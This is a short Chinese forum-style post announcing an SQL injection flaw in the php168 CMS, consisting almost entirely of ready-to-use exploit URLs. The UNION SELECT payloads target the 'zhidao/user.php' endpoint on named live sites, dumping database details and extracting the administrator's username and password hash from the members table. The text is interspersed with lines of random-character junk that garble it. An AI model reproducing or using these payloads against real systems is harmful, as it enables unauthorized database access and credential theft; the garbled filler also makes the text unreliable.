php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
+ c* W1 ]1 B6 E  R                                                         
* ?* d9 v, N- z- N' ~! d7 T                                       
! U0 p" ]% S8 v' ^$ n7 p
1 r9 J# {2 \1 F; k) T# l* ?+ whttp://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
                                                     
) X- }0 L3 x+ U: O) b) Y                                                                  
                                                        
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--



* X' o1 U- |1 d: r& d% i4 N                                                            

* n+ v) _$ m( p  e' hhttp://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
! \& d- U0 r# T6 @" H
2 n% C( t( B2 l. I4 F% [
: f& F7 R$ D+ q' f) ~# W, [& u2 |3 r
) k4 c* U9 s3 W: u6 J6 M2 G$ U